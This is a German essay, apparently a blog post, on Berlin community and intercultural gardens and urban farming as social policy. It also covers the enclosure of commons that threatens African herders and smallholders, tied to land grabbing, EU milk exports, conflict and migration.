Zur Jahreswende 2003/2004 wurde als Ergebnis einer Tagung in Berlin-Köpenick die Stiftung Interkultur mit dem Ziel geschaffen, die Gründung „Interkultureller Gärten“ voran zu treiben. Zugleich entstand nach dem Vorbild der 1996 in Göttingen gegründeten ersten „Internationalen Gärten“ ein interkultureller Garten in Berlin-Köpenick. Die deutschen Medien berichteten seit 2009 zunehmend über interkulturelles Gärtnern und städtischen Gemüseanbau. Artikel wie „Kräuter gegen die Krise“ oder „Gurken statt Kapitalismus“ passten zur Tatsache, dass in den USA die Gattin des eben gewählten neuen Präsidenten, Michelle Obama, nach Aufforderung von Slow Food und amerikanischen Community Gardeners in ihrem Hausgarten am Weißen Haus in Washington einen Gemüsegarten einrichtete, in dem sie zusammen mit den Schulkindern der benachbarten Bancroft-Grundschule gärtnert. Als im gleichen Jahr mitten in Berlin-Kreuzberg die Prinzessinnengärten gegründet wurden, war die Zeit jedenfalls reif für ein solches Projekt. Plötzlich interessierten sich alle für das neue Gärtnern in Kisten. Die Prinzessinnengärten wurden über Nacht zum Medienstar… Bals verzeichnete eine Berliner „Gartenkarte“ nahezu hundert neuere Gemeinschaftsgärten bzw. Projekte der urbanen Landwirtschaft im engeren Sinne.

Auch das im April 2011 auf dem Tempelhofer Feld entstandene „Allmende-Kontor“ ist zusammen mit den anderen Gemeinschaftsgärten dort zum absoluten Medienstar geworden, es wird wieder und wieder abgebildet, meistens, ohne das Ross und Reiter  genannt würden. Im Buch „Urban Gardening in Berlin“ (BeBra verlag Berlin 2016) sind die meisten dieser grünen Erzeugnisse von Berliner Bürgerengagement. sozusagen mit vollem Namen sowie Kontakt- resp. Lage-Adresse geannt. Das Allmende-Kontor ließ das verregnete Garten-Jahr mit einem gemeinsamen Kompostworkshop, einem tapferen Smoothiemachen per Rad und einem feierlichen Zeltdachabbauen zu edlem Fruchtpunsch ausklingen…

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Kleinlandwirtschaft als Sozialpolitik

In immer mehr Städten der Welt werden kommunale Landwirtschaftsprogramme aufgelegt. Um die lokale Bevölkerung vor Hunger zu bewahren oder ihr die Möglichkeit zu geben, sich aus eigener Hände Arbeit selbst ernähren zu können. Durch den Verkauf der Überschüsse auf den lokalen Gemüsemärkten tragen die Stadtbauern zur Versorgung der Bewohnerschaft des entsprechenden Quartiers mit frischem Gemüse bei. Positive Beispiele sind Rosario in Argentinien, Quito in Ecuador, Nairobi in Kenia und viele andere mehr, wie eine „Urban Farming Konferenz“  in Berlin im September zu Tage  brachte.

Tatsächlich ist die Förderung von Kleinlandwirtschaft als sozialpolitischer Maßnahme in Zeiten von Dauerkrisen mit geringem Lohnniveau oder hoher Erwerbslosigleit nichts Neues in der Geschichte. Vielmehr hat es die staatliche Förderung von „individueller Hauswirtschaft“ überall im sozialistischen Osteuropa gegeben. Das war u.a. in der ehemaligen DDR der Fall, als die „private Hauswirtschaft“ die LPG-GenossInnen motivierte, auf dem Land und im Dorf zu  bleiben. Heute wählen ländlich geprägte Regionen reihenweise Protestparteien, weil ihnen eine sinnvolle Tätigkeit abhanden gekommen ist. Angesichts dessen, dass die Regionen zudem infolge der Abwanderung der Jugend mit den Menschen die Lebensqualität verlieren, wäre es wohl angebracht, über Landwirtschaftspolitik als Sozialpolitik erneut nachzudenken. Im Deutschlandarchiv, Heft 4, Jahrgang 2005, 607-612 habe ich einen Überblick zur Politik der Kleinlandwirtschaft vor 1989 verfasst.

Meyer-Renschhausen, Elisabeth (2005) Kleinstlandwirtschaft in der Regionalpolitik

Vom Hüten von Herden und der Erde

Commons oder Allmenden sind „Gemeinheiten,“ gemeinsames Land, auf dem etwa Dorfgesellschaften ihre Tiere hüteten. Bis ins 20.Jahrhundert hinein beschäftigten die Bauern dafür gemeinsam einen Hirten. In anderen Teilen der Erde ist das Hirtenwesen eine Lebensform, die die Menschen ernährt. Eine Herde zu hüten ist im modernen Sinne sozusagen eine Arbeit, auch wenn die Hirten das wohl kaum so sehen würden. Ähnlich wie Haus- und Subsistenzarbeiten Tätigkeitsformen sind, die von der Nationalökonomie ignoriert werden. Jedoch sind Allmenden und Allmende-typische Arbeiten in der Geschichte verschwunden und auch wieder neu entstanden, wenn die Umstände es erzwangen. Heute ist die Lage der Hirten in Afrika allerdings dramatisch. Es ist die Frage, ob wir uns diese Bedrängnis der Pastoralisten im Zeitalter des Klimawandels eigentlich leisten können.

Ein gewisses Wiederauftauchen der Gemein- und Hirtenwirtschaft gab es etwa nach der großen Pest 1348 im Languedoc. Weil hier die Bevölkerung halb ausgestorben war, kehrten die Bauern zu vermehrter Tierhaltung zurück. Oder: nachdem zwischen 1650 und 1800 in England das meiste ehemalige Gemeindeland eingehegt war, entstanden in den Alpen ab 1810 das Hütewesen auf hoch gelegenen Gemeindeländern, den Almen, neu. Senner hüteten die Tiere über die Sommermonate im Auftrag der Allmend-Genossen. Und nachdem in Mittel- und Zentral-Europa nach dem I und II. Weltkrieg infolge von vermehrten Grenzkontrollen die Wanderschäferei fast ausgestorben war, zogen ab der 1980er Jahre junge Arbeitslose aus der Schweiz, Österreich, Frankreich und Deutschland (u.a. von Longo Mai) mit Schafherden über kommunale Ländereien, sogar Ländergrenzen und Alpenpässe… Allerdings wurden mit Gründung der WTO zum 1.1.1995 das Privatisieren und das Spekulieren mit Grund und Boden weltweit in einem Maße ermöglicht, wie man es bisher nur aus der Zeit des brutalen Manchester-Kapitalismus vor dem I. Weltkrieges gekannt hatte. Dennoch gelang es einer Berliner Bürgerinitiative im Mai 2014 mittels eines Volksentscheides das Opfern eines ehemaligen innerstädtischen Flughafens, des Tempelhofer Feldes, an die Bauindustrie zu verhindern…

Heute sind weltweit die meisten Allmenden und Gemeindeländereien gefährdet. Das viel zu viele Geld, das durch Steueroasen und Finanzblasen geschaffen wurde, wird erst durch Investition in „real estates“ sozusagen „real“. Das bedroht den Lebensunterhalt der kleinen Bauern und Hirten besonders Afrikas. Bis heute dienen dort Allmenden Bauern und Hirten als Acker- und Weideland. Individualbesitz von Grund- und Boden war  z.B. in Mali, Elfenbeinküste, Burkina Faso, Äthiopien etc. bis vor kurzem fast unbekannt. Besonders Hirten geraten unter Not, wenn ihre Weidegründe infolge von Privatisierungen, Staudammbauten, Kriegen, Wild Life Sanctuaries oder Klimawandel verschwinden.

Am 4. August 2017 war in der New York Times zu lesen, dass Kenia am Fuße des Mount Kenia, die Bauern von Lakipia von der Hirtenbevölkerung bedroht und ausgeräubert würden. In Nadunguru treiben die Hirten ihre darbenden  Rinder auf die Äcker der Landwirte und Bauern, und sogar auf die Äcker armer Klein-Bauern. – Dabei weiß man es seit Jahren, dass die auch etwa die Wilderer sich – als Handlanger von Fremden – oft aus ehemaligen Hirten rekrutieren. Denn seit Jahrzehnten bereits sind die Pastoralisten im Norden Kenias Opfer von Kriegen und Klimawandel, der derzeit durch den El-Nino-Effekt verstärkt wird. Das führt zu Hungersnöten unter den Hirten wie etwa den Turkana vom Turkana-See, die Fischer werden müssen. Blumenfarmen und andere Export-Landwirtschaft graben im Süden Kenias auch den Massai  das Wasser ab. Ihre Weiden fallen trocken, weil das Wasser ihrer Flüße bereits am Oberlauf abgezweigt wird.

Bis heute leben etwa 80 % der Afrikaner von ihrer Landwirtschaft. Industriearbeit gibt es kaum und andere Erwerbsmöglichkeiten nicht in ausreichendem Maßstab. Die meisten bearbeiten Land, das traditionell denjenigen zugeordnet wird, die es bewirtschaften. Traditionell gehört es keinem Einzelnem, sondern einer Dorfgemeinschaft oder einem Clan. Es wird als Kollektivbesitz als Land der Vorväter und der Enkel betrachtet. In der Forschung wird dieses Gewohnheitsrecht allerdings wenig berücksichtigt. Von 200 Aufsätzen über Boden- und Landrecht in Afrika meinte ein Experte aus Mali, würden sich nur zwei mit dem Gewohnheitsrecht befassen.

Problematisch wird es, wenn Regierungen wie 2013 die von Äthiopien, das Land, das bisher als Volkseigentum galt, zu Staatsbesitz erklären, um anschließend große Teile davon für 99 Jahre verpachten zu können. Im Westen Äthiopiens verloren so ganze Dörfer, die bisher von einer Mischung aus Ackerbau, Viehhaltung sowie Sammlen lebten, ihren Lebensunterhalt. Die neu errichteten zentralen Ansiedlungen nützen nichts, weil die Menschen dort keinen Broterwerb finden. Die neuen Großgrundbesitzer arbeiten mit Maschinen und.zahlen einen Lohn, der weit unter dem zum Leben Notwendigen liegt. Diese neue Not führt in Äthiopien, Kenia, Burkina Faso, Mali zu vermehrten Zusammenstößen zwischen Vielhaltern und Bauern, die sich das übrig gebliebene rare Land teilen müssen. Da die Hirten seit Ende des Kalten Kriegs mit Kalaschnikows statt mit Speeren bewaffnet sind, führt das zu wachsender Gewalt und Vertreibungen.

Solange die Böden als Kollektiveigentum betrachtet wurden gab es friedliche Regelungen hinsichtlich der Bodennutzung. In Burkina Faso regelte in den Dörfern ein „Chef der Erde“ die Landverteilung, nach Tradition, Bedarf und Familiengröße. Flüchtlinge bekamen Land zur Selbstversorgung. Sobald die Bauern eines Dorfs ihre Felder abgeerntet hatten, wurden die Felder den Hirten zur Nachnutzung überlassen. Die Tiere fraßen Stoppeln, Strünke und düngten den Boden. Sobald jedoch im Umkreis der Städte die Privatisierungsprozesse einsetzten und Zäune gesetzt wurden, war das nicht mehr möglich. Mit der Einhegung der Allmenden verlieren die meisten Hirten ihre Existenzen. Sogar der gut gemeinte Natur- und Landschaftsschutz kann auf ihre Kosten gehen. In Nairobi weiden die rot gewandeten Massai ihre Herden auf den Mittelstreifen der  Ausfallstraßen. Ihre traditionellen Weidegebiete sind als Nairobi-Nationalpark für Elefanten, Büffel und Nashörner eingezäunt worden. Die Massai, die mit ihren Sprüngen, Speeren und Tieren vom Tourismus eine Art Wahrzeichen des Landes sind, werden um ihre Lebensgrundlage gebracht. Für die großen Grasländer der Erde ist jedoch die Weidewirtschaft durch Hirten die beste Form ihres Erhalts. Durch Beweidung bleibt die Grasnarbe dicht. Die darüber wanderenden Tiere trampeln zudem die Bodendecke zusammen, so daß Stürme kaum Angriffsmöglichkeiten haben..

In Westafrika beweiden Fulani die Trockenzonen des Sahel- und Sudangürtels.Die Rinder gehören den Männern, aber die Milch gehört den Frauen. Der Milch-Verkauf bringt den Familien Geld-Einkünfte. Aber die Europäische Union verwandelt im Rahmen ihrer aggressiven Agrarpolitik überschüssige Milch in Milchpulver. Und subventioniert den Export des Pulvers. Daher kostet das Milchpulver in Burkina Faso weniger als die Hälfte der einheimischen Milch. Das Land hat heute 18 Millionen Einwohner. Die Jugendarbeitslosigkeit ist groß. Auch Universitätsabgänger finden vielfach keine Anstellung. Die meisten Städter arbeiten im informellen Sektor und verdienen kaum genug zum Leben. Die Lebensmittelunruhen von 2007/8 richteten sich gegen die Auswirkungen der sogenannten Sparpolitik. Die Lebensmittelpreise waren infolge der Weltfinanzkrise auf das Doppelte gestiegen.

Der Gründer der „Fairen Milch“ von Belgien, Erwin Schöpges, bemüht sich daher um die Einführung der Idee „Faire Milch“ auch in Burkina Faso. Bei der Eröffnungsfeier in einer Molkerei am Rande der Sahelzone, warnte der Vorsitzende des Verbandes der Kleinmolkereien vor den Auswirkungen der Zerstörung der einheimischen Landwirtschaft durch Weltmarkt-Firmen. Die Hinwendung zum Terrorismus, unter dem die Menschen besonders in den Nachbarländern Nigeria und Mali leiden, erfasst  besonders junge Viehalter ohne Lebensgrundlage. Hirten betrachten ihre Viehhaltung nicht als Arbeit. Aber wenn man ihnen die Möglichkeit dazu nimmt, bringt man sie um ihren Lebensunterhalt. Mit Ihrer Lebensweise verlieren sie Bescheidenheit und Stolz und wenden sich den Boko Haram oder anderen Fundamentalisten zu. Die Tuareg der Sahara etwa verbündeten sich mit dem islamischen Terror und merkten zu spät, mit wem sie sich da verbündet hatten.

Landraub und Vertreibung von Bauern und Hirten von ihren Feldern ist eine Haupt-Ursache für den nicht abbrechenden Flüchtlingsstrom nach Europa. Der Vorgang des Landgrabbing findet auch im Norden statt. Die in den Parks Schlafenden oder die osteuropäischen Musikanten sind Flüchtlinge der äußerst brutal ablaufenden Privatisierungsprozesse im Osten Europas. Aber es entstehen auch neue Formen einer gemeinsamen Landwirtschaft. Winzige, aber überzeugende Beispiels sind etwa die „Bauerngärten“ in den Landschaftsschutzgebieten von Berlin. Oder das „Speisegut“ in Gatow als erste solidarische Landwirtschaft Berlins. In beiden Modellen tragen alle Konsumenten das Risiko gemeinsam mit den Landwirten. Wenn die Ernte schlecht wird, gibt es halt für alle etwas weniger Gemüse… Oder nehmen wir das Stadtgut Blankenfelde ebenfalls in Berlin. Hier sind die Gebäude des ehemaligen Guts mittels unzähliger freiwilliger Arbeitseinsätzen an Samstagnachmittagen gerettet worden. Das Gelände steht Spaziergängern offen, im Gemeinschaftsgarten dürfen auch Nachbarn mitbuddeln und es gibt Versammlungsräume für Konzerte, Vorträge, Lesungen und Ausstellungen aller Art. Gemeinsam schuf eine Gruppe eine für alle benutzbare Allmende. Und inmitten Berlins wurde das Tempelhofer Feld im Mai 2014 für den Klima-, Natur- und Landschaftsschutz gerettet – mitsamt ihren offenen Allmende-Gärten. Fehlen sozusagen nur noch die Schafe, die zu einer traditionellen Bewirtschaftung von Allmenden dazu gehören, als Landschafts- und Klimaschützer…Besonders eine maßvolle Wanderweide-Wirtschaft schützt Grasländer vor Verwüstung.